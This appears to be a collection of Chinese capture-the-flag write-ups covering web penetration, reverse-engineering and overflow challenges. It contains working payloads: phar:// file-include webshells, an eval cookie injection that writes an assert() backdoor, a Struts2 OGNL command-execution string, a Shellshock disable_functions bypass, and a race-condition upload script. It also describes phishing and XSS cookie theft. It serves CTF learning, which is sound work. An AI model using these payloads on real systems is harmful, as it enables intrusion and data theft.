    $row = mysql_fetch_assoc($result);
 
    echo "notes: ".$row['notes']."</br>";
}
?>

应该是PHP和MySQL不同精度的问题,解法:
http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php?id=1024.000000000001

flag{php_is_so_awesome_ever_ever_ever###}

俳句自动打分系统
先上传文件,发现有一枚文件包含漏洞
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=[File Include]
读取index.php
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=php://filter/read=convert.base64-encode/resource=index

<?php
$p = $_REQUEST['page'];

if($p == "")
{
$p = "main";
}

$haq = "别搞我呀,好好写俳句。我认真的。";

if(strstr($p,"..") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"tp") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"ip") !== FALSE)
die("<pre>$haq</pre>");

if(strlen($p) >= 60)
die("<pre>string > 60
$haq</pre>");

$inc = sprintf("%s.php",$p);
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>俳句打分</title>

    <!-- Bootstrap -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
      <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
  </head>
  <body style="background-color: #00b0c0;">
<center>
<h1>最权威的俳句打分</h1>
<br />
<br />
<br />


<?php
include($inc);
?>


</center>
    <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
    <script src="js/jquery.min.js"></script>
    <!-- Include all compiled plugins (below), or include individual files as needed -->
    <script src="js/bootstrap.min.js"></script>
  </body>
</html>

读取view.php

<?php
$txt = $_REQUEST['id'];

if($txt == "" || $txt == "random")
{
$txtname = "already/" . rand(1,14) . ".txt";
}

else $txtname = "upload_paiju/" . $txt . ".txt";

$f = file_get_contents($txtname);

echo '<pre>' . $f . '</pre>';

echo '<pre>我的打分是: ' . (int)md5($f)%100 . '</pre>';

?>

读取upload.php

<?php

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}

$target_dir = "/usr/share/nginx/html/13152f79f9264731da9fa16846449d80/upload_paiju/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid . ".txt";

if(isset($_POST["submit"])) {
    if($imageFileType == "txt") {
        $uploadOk = 1;
    } else {
	echo "<p>ä¸æ˜¯è¯´å¥½çš„åªèƒ½ä¸Šä¼ TXT嘛</p>";
        $uploadOk = 0;
    }

    if(!($fsize >= 0 && $fsize <= 200000)) {
	$uploadOk = 0;
		echo "<p>俳句怎么可能那么大!</p>";
	}

}

if($uploadOk)
{

$newpath = "/usr/share/nginx/html/13152f79f9264731da9fa16846449d80/upload_paiju/" . $newname;

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) {
	 echo "çœ‹çœ‹ä½ çš„ä¿³å¥èƒ½å¾—å¤šå°‘åˆ†ï¼Ÿ <a href='index.php?page=view&id=" . $newid."'>查看</a>";
    } else {
        echo "<p>å‡ºé”™å•¦ï¼Œä½ åœ¨ä¹±æžä»€ä¹ˆå‘€ï¼</p>";
    }

}


?>

可以看出,index.php的文件包含必须是.php的后缀,而我们只能传.txt后缀的文件
这里通过zip/phar/rar等伪协议可以绕过,这里我选了phar://

先通过标准Phar打包

<?php
    $p = new PharData(dirname(__FILE__).'/a.zip', 0,'phartest',Phar::ZIP);
    $p->addFromString('a.php', file_get_contents('shell.txt'));
?>

shell.txt里面是后门代码

上传上去后通过phar协议包含拿到shell
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=phar://upload_paiju/lbKyq9AsnruCZ911.txt/a

读取open_basedir

open_basedir: /usr/share/nginx/html/:/tmp/:/srv/

在/srv/目录下找到FLAG文件
FLAG{wo_ceng_jing_kua_guo_shan_he_da_han,ye_chuan_guo_ren_shan_ren_hai}

Tech-Blog
是利用Flask-Blog搭建的博客,一开始猜测是要代码审计,于是就去看commit log,寻找修补漏洞的地方
我在白盒测得时候,队友已经通过黑盒测试找到了一处任意密码重置漏洞,只需要知道用户邮箱就可以重置该用户的密码,那么我们只需要知道admin的邮箱即可
经过各种对强网杯邮箱的猜测都不行,后来发现了“王宇直在找工作”这个提示
王宇直应该就是admin,他在找工作,那么应该就能通过简历找到他邮箱了,然后在国内的找工作的网站上找了找,没什么发现,转向国外的LinkedIN,找到了一个叫王宇直的,而且头像还那么二,上海交大妇产科,必定就是这个家伙了
看了下他的联系方式,找到了下面两个东东

http://straigt_wang.com
http://blog.163.com/straight_wang

用过网易博客的都知道,开通博客的格式 http://blog.163.com/[Username]
那么应该就有 straight_wang@163.com 的邮箱了
去163注册确认了下,这个邮箱是存在的
那么我们通过这个邮箱去重置密码,成功修改了admin的密码

进入后台后,查看Secret,是一个任意文件读取的地方
简单的对Linux进行信息收集,在/etc/hosts里面得到了提示

119.254.101.197 wang-yu-zhi-de-guan-li-hou-tai #port 22234

修改本地hosts,访问目标,是一个秘密后台,有一处任意文件包含漏洞,可以直接获取源码

?page=php://filter/read=convert.base64-encode/resource=main.php

通过该漏洞读取到了main.php 和 upload.php的源代码
然而不能下载 index.php 的,但是目标系统是Windows,利用 index.ph< 下载即可
审计源码,构造表单上传文件
然而上传上去后就会立即删除掉,猜测要利用时间竞争,利用脚本如下
exp.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket, re, time
import urllib2

host = "119.254.101.197"
port = 22234

def send():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((host, port))
    time.sleep(0.2)
    data = open('exp').read()
    s.send(data)
    time.sleep(0.2)
    resp = s.recv(8192)
    s.close()
     
    return resp

print send()

while True:
    resp = send()
    url = re.findall(r'uploads/(.*)<', resp)[0]
    url = "http://wang-yu-zhi-de-guan-li-hou-tai:22234/?x=c:/inetpub/&page=upload</" + url
    print url
    print urllib2.urlopen(url).read()
    time.sleep(3)

exp:

POST /index.php?page=upload.php HTTP/1.1
Host: wang-yu-zhi-de-guan-li-hou-tai:22234
User-Agent: wonderful_and_secret_brower_ever
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://wang-yu-zhi-de-guan-li-hou-tai:22234/?page=main.ph%3C
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------1470534513268
Content-Length: 903

-----------------------------1470534513268
Content-Disposition: form-data; name="fileToUpload"; filename="lala.txt"
Content-Type: text/plain

<?php 
function dir_path($path) { 
	$path = str_replace('\\', '/', $path); 
	if (substr($path, -1) != '/') $path = $path . '/'; 
	return $path; 
} 

function dir_list($path, $exts = '', $list = array()) {
	$path = dir_path($path); 
	$files = glob($path . '*');
	foreach($files as $v) {
		if (!$exts || preg_match("/\.($exts)/i", $v)) {
			$list[] = $v;
			if (is_dir($v)) { 
				$list = dir_list($v, $exts, $list); 
			}
		} 
	} 
	return $list; 
}

$r = dir_list($_GET['x']); 
printf("<pre>%s</pre>\n", var_export($r , true)); 
echo file_get_cotents("c:/inetpub/temp/Are_you_OK");
?> 
-----------------------------1470534513268
Content-Disposition: form-data; name="submit"

Upload
-----------------------------1470534513268--

通过不断的列目录,找到一个可疑的文件:C:/inetpub/temp/Are_you_OK
通过包含漏洞读取该文件,拿到Flag

0x04 逆向工程
flag-checker 100
观察后发现题目给的等式是有规律的,可以按照a0 a1…a46的顺序依次计算,每次计算都是一个一元一次方程。依次解出即可得到flag

#!/usr/bin/python
from sympy import Symbol
from sympy.solvers import solve

a = []

def main():
    for i in range(50):
        exec("a"+str(i)+"=Symbol('a"+str(i)+"')")
        a.append(Symbol("a"+str(i)))
    f = open("2.txt","r")
    i = 0
    for ln in f:
        if len(ln)<4:continue
        n = ln[:-2]
        n = n.replace("=","-(")
        n += ')'
        n = n.replace('[','')
        n = n.replace(']','')
        #print n 
        exec("eq = "+n)
        ans = solve(eq,a[i])[0]
        exec("a"+str(i)+"=ans")
        if ans>128 or ans<15:
            print chr(ans%128),
        else:
           print chr(ans%128),
        i += 1

if __name__=="__main__":
    main()

keygen 200

原始字符串改变顺序存放


在下面这个表中遍历,如果是字符的数字就是直接赋值,如果是非字符,就用v16对应下标的字符,得到一个新字符串

; char byte_6018E0[]
.data:00000000006018E0 byte_6018E0     db 2                    ; DATA XREF: sub_400B56+1BEr
.data:00000000006018E0                                         ; sub_400B56+1D8r ...
.data:00000000006018E1                 db  34h ; 4
.data:00000000006018E2                 db    5
.data:00000000006018E3                 db  33h ; 3
.data:00000000006018E4                 db    6
.data:00000000006018E5                 db  39h ; 9
.data:00000000006018E6                 db    0
.data:00000000006018E7                 db  31h ; 1
.data:00000000006018E8                 db    1
.data:00000000006018E9                 db  37h ; 7
.data:00000000006018EA                 db    3
.data:00000000006018EB                 db  32h ; 2
.data:00000000006018EC                 db    4
.data:00000000006018ED                 db  30h ; 0
.data:00000000006018EE                 db    7
.data:00000000006018EF                 db  32h ; 2

新字符串求MD5,得到的MD5字符串中每一位转换成对应ascii码10进制数字,并删除所有0

原字符串中第4、9、14、19是’-‘

得到的字符串中5-12位与原字符串中15 12 18 0 6 8 5 3位比较验证,最后计算得到5234-5171-901b-5de5-hijk是一个可以通过验证的,修改最后4位可以得到9个不同的sn

0x05 溢出利用
guess 100

程序使用了scanf(“%s”,…),比较明显的栈溢出来,可以在4次比较正确后成功控制栈。输入后面可以加\x00来控制正确的比较以及构建后面的ret2read_file。

中间可以用最后一个scanf来作为传入参数的设置。参数地址固定在0x0804a100

urldecoder 200
溢出点:前面的sub_8048720输入是0xa作为结尾的,在sub_8048800的strlen()是以0x00来判断结尾的,其中可以通过%来控制处理字符串的指针。 构造一个”%\x00″ 这样来绕过for循环的判断就可以溢出栈了。
sub_8048720

sub_8048800

之后就是构造rop链了。
gadget1:用puts随意泄露一个函数的地址可以算出基地址,重新回到0x080485f0再一次控制栈.
gadget2:用gets向可写地址写入”sh”,然后返回system来拿到shell.

第十一届校赛初赛 writeup

Team:Syclover

0x00 Pentest

Pentest1《我要开网店》
“暮雨! 咱家豆腐店生意不行啊,听说最近网店比较火,要不咱家店也做个网站?”
“做网站?行啊,干脆请人来做吧。”
“可是请人要花钱啊,咱家店里这生意。。。”
“放心,包在我身上了!”暮雨的脸上露出自信的笑容,“昨天刚看到个苦逼的程序猿发的广告,好像有源码。广告是什么来着?哦哦,想起来了!”

苦逼的程序猿 由于新看上了一个女朋友,想买但是钱又不够。就上班那点工资,交了房租填饱肚子就没了。为了我的女朋友,我只有自己接点私活了,做做网站。下面这个网站我最近开发的有人需要买源码的可以联系我。 http://menghu-demo.sycsec.com

这个网站存在泄漏 http://menghu-demo.sycsec.com/.DS_Store

访问之后可以得到备份源码的压缩包 wobuhuigaoshunizhejiushibeifenwenjiande.rar 然后下载备份文件,进行代码审计。 可以发现\cms\pay\order.php文件中存在如下代码

$payobj=new pay();
$action=isset($action)?$action:'step1';
session_start();
$cookiekey=CMS_md5('productarray'.IP);
$productarray=string2array(get_cookie($cookiekey));

然后根据代码可知IP可以通过X-Forwared-For伪造。然后看到CMS_MD5函数和get_cookie

function get_cookie($var)
{
    $var = COOKIE_PRE.$var;
    return isset($_COOKIE[$var])?$_COOKIE[$var]:false;
}

function CMS_md5($str)
{
    return substr(md5($str),6,16);
}

然后继续跟进string2array函数。

function string2array($str)
{
    if(disablefunc('eval'))exit('函数eval被禁用,可能无法正常使用本系统!');
    if($str=='') return array();
    if(is_array($str))return $str; // 2011-09-13  是数组的话直接返回
    @eval("\$array = $str;");
    return $array;
}

很明显根据上面代码可以知道这是一个任意代码执行。
首先我们将X-Forwared-For设为0.0.0.0。然后可以得到

a8b98b87d11653f2

然后设置cookie键为:mtGmpHCQ4ba8b98b87d11653f2 键值为1;echo 1111; 可看到代码成功执行
然后在upload目录写个shell。

1;${@fwrite(fopen('../upload/syclover.php', 'w+'), "<?php @assert($_POST[1]);?>")};

在upload生成一个shell。就可以拿到flag了。

Pentest2《网站升级》
自从暮雨家的网站建起来之后,生意果然好了很多,暮雨也有了更多的资金去改造自己的X86。
这天暮雨正在为自己的爱车打蜡,远远便看见老爸一脸兴奋地向自己招手。“暮雨!快来快来!”
“哎,又要忙了。。。”默默叹了一口气,暮雨放下手中的东西向老爸跑去,“来了来了,这次又有什么事要做?”
“哈哈,真是什么都瞒不住你小子!”暮雨老爸笑道,“最近咱家豆腐店业务量这么大了,得上线个新的业务,听说java开发不错,我们也试试?”
“java开发?好啊!记得上次那个程序员又写了新东西,看来又要去‘麻烦’那个程序员了呢。”暮雨默默想着。

听说这是入口 http://sycapi.sycsec.com

访问之后可以发现这是一个请求接口,测试之后可以发现做了简单的防御。

然后根据乌云多数已修复SSRF漏洞可被绕过这个漏洞提供的技巧.或者,我们将ip转换为10进制。都可以绕过限制。 然后开始探测内网。根据提示的信息,可以猜测一下java.sycsec.com这个域名的指向。
当然,如果你没发现也没事,可以自己写个脚本探测,有哪些存活的主机和端口。可以发现 10.116.39.128

这个ip是存活的,然后开放了8080端口。
其实就是搭建了一个struts2的demo

http://www.10.116.39.128.xip.io:8080//struts2-blank/example/HelloWorld.action

然后exp打一发就出现flag了。

http://www.10.116.39.128.xip.io:8080//struts2-blank/example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

Pentest3-1《白色的东东总能让人上瘾! 第一章》
最近我们豆腐店生意老是不景气,除了附近的几个老顾客偶尔来光顾而外,就没见过什么新面孔了。这是怎么回事呀?再不来人这个月的房租就没法交了啊,然后妈妈桑肯定又要来闹腾了=。= 今早老刘家的孩子又来我们这儿买豆腐了,给了他一根棒棒糖,打听了下情况,原来是在秋叶路新开了一家豆腐店《三叶豆腐》,那里不仅豆腐好吃而且老板娘还很漂亮,属于豆腐西施那种类型的,所以大家都跑到那里去买豆腐了,来我们这里买豆腐的都是那种家教很严的,不允许去那里买豆腐。

所谓“知己知彼,百战百胜”,我觉得我有必要去现场观摩一下,了解下情况。于是乎,骑着我的摩托版X86慢悠悠的潜入了敌方阵营。结果不出所料,老板娘真的很漂亮(๑¯ิε ¯ิ๑)(PS:我们店的硬件设备也应该跟进一下了,招个漂亮的保洁小妹!),在老板娘含情脉脉的眼光中,挑了一块豆腐尝了尝,哦,卖狗的!这简直太美味!我们的豆腐店看来是没希望了,还是改行卖白菜吧。。。呃呃呃,这里似乎有什么不对,这味道似乎在哪里见过,这不是大麻的味道么,难道说这豆腐里面有放大麻,怪不得会让人上瘾!这可是在犯罪啊!我一定得找到证据,让人民免受其害!

于是乎,我开始了艰辛的观察行动。。。 一个月后。。。

我们店已经倒闭了(ง •̀_•́)ง┻━┻
但是,我也收集到了一些信息:
* 每天夜深人静的时候都会有人来这里买豆腐,这些客人都比较猥琐,骨瘦如柴的
* 每周都会有一次进货,但来送货的人总是戴着墨镜,还有纹身,看起来不像好人

我的直觉告诉我这家店不只在豆腐里面加了大麻那么简单,可能还在私底下干些买卖毒品的勾当,我得想办法拿到他们最近的账单及进货数据!
如果直接物理入侵好像我的小身板会受不了,还是通过网络试试吧

三叶豆腐的官网:http://syctoufu.sycsec.com/

目标: 渗透进入三叶豆腐,拿到他们的账单和进货数据

先看目标官网http://syctoufu.sycsec.com/,页面很简单,并没有什么办法能从WEB层面撕开裂口,只有先收集些信息再看情况了。

在招聘页面发现三叶豆腐在招聘保洁小妹,而且还留下了招聘用的邮箱syctoufu_master@163.com,一看就是管理员的邮箱,我们可以先拿这个管理员下手!

先通过邮件给管理员发个简单的探针,探探浏览器的信息

由上面可知管理员用的是Win7 X64 IE11
可以联想到的利用方式:
* 袁哥发的通杀Win95+IE3 – Win10+IE11 MS14-065
* IE UXSS Win7/Win8 IE10-IE11

由于没有探测杀软的情况,还是利用IE UXSS比较保险一点,只要打到管理员的Cookie说不定就进入官网后台了,后面的再想办法深入。
构造好EXP,通过邮件给管理员发了个简历链接过去。(EXP见附件uxss.zip)
获取到的Cookie:

credit_id=72edbabcfad6af4e925d522a5138a038

利用Cookie登陆后台
后台很简单,就只有下载配置文件一个功能,由此想到了任意文件下载,测试了一下,真的存在。那么我现在就有一个比较低的读权限,如何把读权限提升呢?读一下敏感文件吧
读取/etc/httpd/conf/httpd.conf,下面是重点

<VirtualHost *:80>
    ServerAdmin LateRain@Syclover
    DocumentRoot /web/syctoufu
    <Directory />
        Options -Indexes FollowSymLinks
        AllowOverride All
        <Limit GET POST>
            Order allow,deny
            Allow from all
        </Limit>
    </Directory>
    ServerName syctoufu.sycsec.com
    ErrorLog logs/syctoufu_error_log
    CustomLog logs/syctoufu_access_log common
</VirtualHost>

<VirtualHost *:80>
    ServerAdmin LateRain@Syclover
    DocumentRoot /web/sycshadowworld
    <Directory />
        Options -Indexes FollowSymLinks
        AllowOverride All
        <Limit GET POST>
            Order allow,deny
            Allow from all
        </Limit>
        php_value open_basedir "/web/sycshadowworld/:/tmp/"
    </Directory>
    ServerName sycshadowworld.sycsec.com
    ErrorLog logs/sycshadowworld_error_log
    CustomLog logs/sycshadowworld_access_log common
</VirtualHost>

可以看出这台服务器上除了syctoufu.sycsec.com还有一个站http://sycshadowworld.sycsec.com 但是这连个域名的指向却不相同

sycshadowworld.sycsec.com  121.43.186.34
syctoufu.sycsec.com  120.25.240.176

直接访问http://sycshadowworld.sycsec.com ,发现是一个售卖枪支的网站
简单的对这个网站进行了测试,发现有svn源码泄露的漏洞
利用该漏洞发现了数据库备份文件http://sycshadowworld.sycsec.com/include/db_config.bak

<?php

    $host = 'localhost';
    $db   = 'sycshadowworld';
    $user = 'toufuboy';
    $pass = 'ToufuboyLoveGintama';
    
    mysql_connect($host, $user, $pass) or die('Can not connect to mysql.');
    mysql_select_db($db) or die('Can not connect to database.');
    mysql_query("SET NAMES 'UTF8'");

可以发现这里有个数据库用户叫toufuboy,密码是ToufuboyLoveGintama
原来这个管理员叫掏粪男孩,会不会这个管理员的数据库账户和Linux账户一样的呢?
通过后台的任意文件读取漏洞读取/etc/passwd,发现真的有toufuboy这个用户
那么我们连连SSH试试,成功登陆!然而这台服务器上并没有Flag
但是我们在掏粪男孩的home目录下发现了一个神奇的脚本 updateweb.py

#!/usr/bin/python

import commands
from socket import *

myHost = '0.0.0.0'
myPort = 61337
sockobj = socket(AF_INET, SOCK_STREAM)
sockobj.bind((myHost, myPort))
sockobj.listen(5)
while True:
    connection, address = sockobj.accept()
    print 'Connected: ', address
    data = connection.recv(1024)
    if data.rstrip() == 'ToufuboyIsComingBack':
         (status, output) = commands.getstatusoutput('su toufuboy <<< "cd /web/sycshadowworld; svn update; exit"')
         connection.send(output)
    connection.close()

它监听在61337端口,每次连上去输入ToufuboyIsComingBack就会给/web/sycshadowworld这个目录执行svn update,而这个目录恰好就是这台服务器上绑的sycshadowworld的WEB目录,会不会另外一台解析了sycshadowworld的服务器也运行着这个脚本呢?测试一下真的开着61337端口!
那么我就猜测,这两个站可能是一个未上线和一个上线了的关系,未上线的是在syctoufu那台服务器上,没有做域名解析,程序猿先在这里调好代码,提交至SVN版本库,然后利用开放的61337调试接口更新线上的服务。
如果我的猜测合理,那么我们在当前的SVN版本库里面插入后门,然后到sycshadowworld的线上服务器更新一下,我们就可以拿到线上服务器的SHELL了。
先到web目录下看看权限:
/web/sycshadowworld/cache目录可写,那就在下面写shell了
到线上服务器上Update一下拿Shell
连上shell
在/tmp下发现了一些奇怪的东东
id_rsa.pub 和 id_rsa 是ssh-keygen生成的私钥和公钥,我们没有权限读取,但是root却又把他们打包成了toufuboy_sshkey.tar.gz,这下我们就有权限下载这个tar包了,看来这个管理员很傻很萌呀:)
下载下来,利用私钥登陆线上服务器:
进去之后,发现掏粪男孩的home目录下就有账单.txt,拿到Pentest3-1的Flag

Pentest3-2《白色的东东总能让人上瘾! 第二章》

我已经拿下了他们的边界服务器了,但是还没有找到他们的进货数据,得继续深入内网才行! 上一关在最后有对下一关的提示:

目标:控制当前网络
怎么控制这个网络呢?
入侵网关或许是个好办法,总之先拿下网关的WEB控制权吧!

key文件是进入下一关的钥匙哦!

那么我们先来看看这个key文件是什么东东吧
这又是一个SSH RSA私钥,但是这是对应的是哪台主机,哪个用户的呢?
查看~/.ssh/known_hosts 读取该服务器连接过哪些服务器
查看~/.bash_history,读取toufuboy的历史操作记录
查看网关
由上可以推测,toufuboy利用私钥文件key以sycnetmgr的身份登陆了网关172.16.1.241
那么我们就来连接一下网关:
提示是要拿到网关的WEB控制权限,先利用SSH Tunnel来访问一下网关的WEB
对该网关的WEB进行测试,并没有发现任何漏洞,重新整理下思路:我现在能以sycnetmgr用户登陆网关,但是我需要达到的目标是登陆网关的WEB接口,我先看看能不能读取WEB的源码
然而sycnetmgr并没有权限去读取源代码,继续换思路。。。
sycnetmgr 这个翻译过来不就是三叶豆腐网络管理员的意思吗?难道这是网管?那我岂不是可以在服务器上嗅探数据了咯?
嗅探了5分钟,把cap包拖回来本地分析
嗅探到管理员的WEB登陆账户 admin/Hey,Man,LetMeIN 登陆后拿到Flag

出题人的吐槽

本来想借这道题来收集一些好的探针啊,EXP啊,渗透思路什么的,结果啥都没收集到,我都要哭出声=。=
我来吐槽下你们发马的吧,直接发exe,你们简直在送人头啊,我都要报警了!稍微要好一点的是发1.doc[这里有一大串空格].exe+修改图标的,然后再好一点的是利用快捷方式的,除了这些就没见什么新鲜的了。里面只要不是直接发exe的我都点了,晚上机子挂在实验室,差点就被搞穿小组内网了=。= 后面为了提高比赛互动性,我也回敬了几个黑阔我的远控,上了两台,因为是MSF生成的,连上来就断掉了,多半是被杀了,伤心:(
然后还有人给我发钓鱼的邮件,模仿的还可以,我就把服务器密码输进去了,不知道你们收到没有。
还有一些要对种马成功的童鞋说的,其实我桌面上提示了偷Cookie或者找密码,大家都偷到Cookie了,但是却没人找到密码,有人传mimikatz来抓密码,但是我这是低权限用户,而且补丁也打全了。我说的找密码其实是指的浏览器储存的密码,拿到密码就可以直接登陆syctoufu的服务器了。
然后,还有人觉得Pentest3-2的难度比Pentest3-1的难度小很多,原因是阿里云的VPC环境没法完美模拟题目环境,当时找阿里云的工作人员帮忙配环境,忙了几个小时都弄不好,最后的结论是VPC不支持,不过也麻烦阿里云的工程师了,Thx!

Pentest4《藏起来的人形修理机》

“不行!还是不行,始终不能把车子的动力发挥到极限!难道真的是改装的有问题?”暮雨自言自语道,看来是时候去找那个传说中的维修改装师了。
不过,没人知道那个号称人形修理机的家伙到底住在哪里,大家只能通过他的网站联系他。没办法,我们的车神只好和大家一样打开网站,可是。。。
http://xiuliji.sycsec.com

题目原理请参考 pkav之当php懈垢windows通用上传缺陷中的demo
首先打开给的网址,看到提示“最近好多人来找我修车改装车,烦都烦死了!我决定出去躲一躲,至于躲在哪里嘛~等你传个可用的shell上来自己看不就行了?”
题目要求传个shell上去,查看下源码。发现被隐藏的上传空间 复制代码保存为本地文件,去掉控件中的style=”display:none”属性,将action=”upfile.php”改为action=”http://xiuliji.sycsec.com/upfile.php” 开始测试,当上传php,asp,aspx等文件时提示 File type is dangerous! 被过滤、 上传jpg等文件时均可正常上传 上传无后缀或随机后缀文件时也可正常上传 判断为黑名单过滤 通过插件看到服务器使用的是iis,得知系统为windows系统,尝试使用流文件上传绕过 即原文中提到的 1.php::$DATA 的方式绕过,发现$符号被过滤。(出题人语:怎么可能留下这么简单的捷径不堵?) 因为是黑名单过滤 所以尝试使用 : 截断进行绕过,如 1.php:1 提示成功上传,文件名为 1.php 但文件为空。这是个很重要的提示 通过本地搭环境测试我们可以发现,正如原文所提到的一样“冒号截断产生的文件是空白的,里面并不会有任何的内容,但是文件本身是生成了的!” 由于目标是windows环境,我们尝试使用windows特性来解题 在php+window+iis环境下: 双引号(“<“) <==> 点号(“.”)’; 大于符号(“>”) <==> 问号(“?”)’; 小于符号(“<“) <==> 星号(“*”)’; 于是我们在成功生成1.php空文件的情况下, 再次上传 1.<<< 或 1.ph< 或 1.<hp 之类的文件名,利用<等同于通配符的特性,并且<不在黑名单里的情况来绕过限制

通过两步:1.绕过黑名单,生成空的shell文件。 2.利用windows特性覆盖已有的空文件,得到shell,最终得到flag

Pentest5《周报系统》

暮雨家的豆腐店生意好起来之后,经常会有人远道而来求购他家的豆腐。 久而久之,附近也冒出了好多家借机浑水摸鱼的豆腐店。 “太气人了!今天隔壁老王家豆腐店又不知道卖了多少!这本来都是咱家的生意!”暮雨爸爸怒道。 暮雨不解道:“他家的价格那么便宜,人多很正常啊。” “就是因为价格低才不正常!咱家已经几乎是成本价了,他家这么低总不可能是赔本卖吧?其中一定有问题!” “原来是这样”暮雨道,“听说他家有个周报系统用来记账,让我去查探一番吧!” http://week-report.sycsec.com

访问页面 http://week-report.sycsec.com

提示了是一个周报系统

看到这里有登陆,就要去尝试注入绕过。

尝试会发现’||’

这个就可以 过了了or的大小写 还有注释符 比如# — 之类的

用这个登陆绕过之后 就可以找到一个上传的地方 http://week-report.sycsec.com/b580824658f29252cce4af63e51a3a67.php

传个图片试试

提示了这个 那就用一个word的试试

把一句话木马保存成word的后缀,再上传

warning! 测试后发现是过滤了php,那我们就用<?这样子来替换<?php 没有过滤大写,也可以使用Php之类的来绕过检测。 文件名修改为.php 后缀的 发现返回一个路径,访问一下发现不一会就掉了 是有一个负载均衡的功能的,我们可以使用重复发包的来完成。 然后就是去用菜刀连上去,发现了这个/f14g_1s_h3r3/文件夹 然后就是慢慢翻文件了,这里还有很多福利哦。最后是在4/5目录发现了flag.txt

flag{0n3_m0r3_t1m3_0n3_m0r3_ch4ng3}

Pentest-6《我要一个发动机 第一章》

比赛即将来临,藤原暮雨的发动机却突然报废,究竟是人性的扭曲,还是道德的沦丧,作为车神肯定是有办法搞一个niubility的发动机的,苦于豆腐店生意太差,所以他打上了天台发动机公司的主意,据说销售主管的机器上有发动机兑换码,FIghting!For Fast & Furious 入口:http://tiantai-engine.sycsec.com

这道题简单地模拟了一个水坑攻击。 题目给的目的很明确,就是销售主管的机器上有发动机兑换码,那最终目标就是搞定销售主管的pc。 销售主管的信息也很好找到 打开入口http://tiantai-engine.sycsec.com

这是一个纯静态页面,是不会有任何问题的,在页面底部可以发现 有一个QQ交谈界面,点击交谈 好了,我们已经找到销售主管了~ so easy嘛,然后查看他的信息 可以得到这个销售主管的博客主页,这些都是题目铺垫好的信息。

下面可以看看这个博客http://liergou-blog.sycsec.com/,是一个emlog搭建的博客 然而就可以找到一些emlog的漏洞来测试,可以找到一个emlog博客前台反射型XSS(无视浏览器filter)是存在的 有了跟博客主人的对话框,又有了一个xss漏洞,我们就可以尝试通过交互的方式去XSS 因为不知道对方用的什么浏览器,所以本地测试的时候最好是在各个浏览器下都测试一遍(在实际中,好多人发给我的exp并不起作用~ ) 然后我们给管理员发送exp(这里的设定是发链接就会点,但是最好还是加点对白): 然后目标点击,被xss 拿到cookie就可以登陆blog后台了 Emlog后台拿shell可以从插件上传那里,下载一个插件,然后在插件里添加一个后门上传 我这里上传了一个player插件,在config.php里写了一句话 所以小马位置为 http://liergou-blog.sycsec.com/content/plugins/player/config.php 如果不知道插件位置的话,可以本地安装一个emlog上传测试出路径,然后连上菜刀 第一个flag就在这里:flag{Easy_Xss_For_Start!}

这里只有content目录下的一些目录才有写权限 不能执行命令,openbasedir限制了web目录,不能浏览之外的目录 第二个flag是在服务器上,那肯定就是之外的目录 本来设定是用bash破壳漏洞绕过命令执行。 bypass disable_functions 但后来发现也可以 bypass openbasedir: phithon牛的文章

这里我还是用破壳漏洞吧 在目录下写一个cmd.php

<?php
function cmd($cmd) { 
   $tmp = tempnam(".","data");
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
   mail("cmd@127.0.0.1","","","","-bv"); 
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo cmd($_REQUEST["cmd"]);
?>

然后访问 http://liergou-blog.sycsec.com/content/plugins/player/cmd.php?cmd=command

就可以执行命令了,可以翻到flag 然而我们还可以去翻一翻apache的日志 找到blog的日志文件,我们把它copy到我们的目录然后查看

通过XSS已经拿到管理员的ip地址段,管理员出口ip一直一个C段里随机的,从apache日志里可以看到管理员ip段的访问习惯。 也可以在可写的文件里包含探针去探测管理员的访问习惯。 可以发现管理员经常访问的地址 这里设定是一个脚本一直在访问这个页面 接着考虑一下怎么样才能拿下管理员机器,现在最好的办法就是挂马,因为之前通过XSS也可以确认到管理员用的浏览器是ie,ie嘛大家都懂 不过挂马前准备工作还是要做足,先探测一下管理员电脑信息 下面我们可以通过修改content/myyyyyyyy-journal/index.php页面来加载一个探针 然后可以探测到一些信息 然而如果你的探针够吊,是能探测到杀软的~ 而且在blog的一些信息中也给出了提示

